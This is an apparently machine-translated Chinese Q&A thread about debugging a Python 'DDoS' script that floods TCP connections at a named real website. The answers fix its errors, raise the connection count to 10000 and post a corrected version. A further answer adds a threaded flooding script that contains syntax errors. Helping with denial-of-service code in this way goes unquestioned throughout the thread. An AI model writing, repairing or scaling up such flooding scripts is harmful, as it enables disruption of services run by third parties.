当我的python ddos脚本运行时出错



我正在尝试攻击我的服务器,我有一个小的ddos python脚本。但不幸的是,我得到了这个错误:

ip = socket.gethostbyname(host)
socket.gaierror: [Errno 11004] getaddrinfo failed

知道如何解决这个问题吗?

这是脚本:

import time, socket, os, sys, string
def restart_program():
    python = sys.executable
    os.execl(python, python, * sys.argv)
curdir = os.getcwd()
print ("DDoS mode loaded")
host="http://hajnalgroup.com"
port="80"
message="+---------------------------+"
conn="100"
ip = socket.gethostbyname(host)
print ("[" + ip + "]")
print ( "[Ip is locked]" )
print ( "[Attacking " + host + "]" )
print ("+----------------------------+")
def dos():
    #pid = os.fork()
    ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        ddos.connect((host, port))
        ddos.send( message )
        ddos.sendto( message, (ip, port) )
        ddos.send( message );
    except socket.error, msg:
        print("|[Connection Failed] |")
    print ( "|[DDoS Attack Engaged] |")
    ddos.close()
for i in range(1, conn):
    dos()
print ("+----------------------------+")
print("The connections you requested had finished")
if __name__ == "__main__":
    answer = raw_input("Do you want to ddos more?")
    if answer.strip() in "y Y yes Yes YES".split():
        restart_program()
    else:
        print "bye"

主机名应该是主机的名称(hajnalgroup.com),而不是url(http://hajnalgroup.com)。

>>> import socket
>>> socket.gethostbyname("http://hajnalgroup.com")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
socket.gaierror: [Errno 11004] getaddrinfo failed
>>> socket.gethostbyname("hajnalgroup.com")
'89.134.187.222'

替换以下行:

host = "http://hajnalgroup.com"

跟:

host = "hajnalgroup.com"

更新

range函数的所有参数都应该是int对象:

>>> range(1, 10)
[1, 2, 3, 4, 5, 6, 7, 8, 9]
>>> range(1, "10")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: range() integer end argument expected, got str.

conn = "100"替换为 conn = 100

端口号也应该是一个数字。

import time, socket, os, sys, string
import subprocess
def restart_program():
    subprocess.call(['python', 'main.py'])
print ("DDoS mode loaded")
host = "YOUR_SITE.com"
port = 80
message = "+---------------------------+"
conn = 10000
ip = socket.gethostbyname(host)
print "[" + ip + "]"
print "[Ip is locked]"
print "[Attacking " + host + "]"
print message
def dos():
    # pid = os.fork()
    ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        ddos.connect((host, port))
        ddos.send(message)
        ddos.sendto(message, (ip, port))
        ddos.send(message)
    except socket.error:
        print("|[Connection Failed] |")
    print ("|[DDoS Attack Engaged] |")
    ddos.close()
for i in range(1, conn):
    dos()
print message
print("The connections you requested had finished")
print message
if __name__ == "__main__":
    print "Do you want to ddos more?"
    answer = raw_input()
    if answer.strip() in "y Y yes Yes YES".split():
        restart_program()
    else:
        print "bye"

您还应该使用 subprocess 重新启动 dos 脚本,这更适合多操作系统。

DDos Python 🐍


#!/usr/bin/python3
import socket, sys, os, threading, platform
def cls():
    if platform.system() == 'Linux':
      os.system("clear")
    else:
         os.system("cls")
def main():
    cls()
    print("--- DDos Attack ---n")
    host = input("Enter Host: ")
    port = int(input("nEnter Port: ")
    print("n")
    def portscanner(x):
        ip = socket.gethostbyname(host)
        print(f"Ip: {ip}n")
        while True:
             s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
             ch = s.connect_ex((host,port))
             print(f"Packet Send To {ip}")
        for j in range(10): 
           t = threading.Thread(target=portscanner,args=[j]
           t.start()
if __name__ == '__main__':
  try:
     main()
  except (KeyboardInterrupt,EOFError):
      print("nStop !!!")
      sys.exit()

最新更新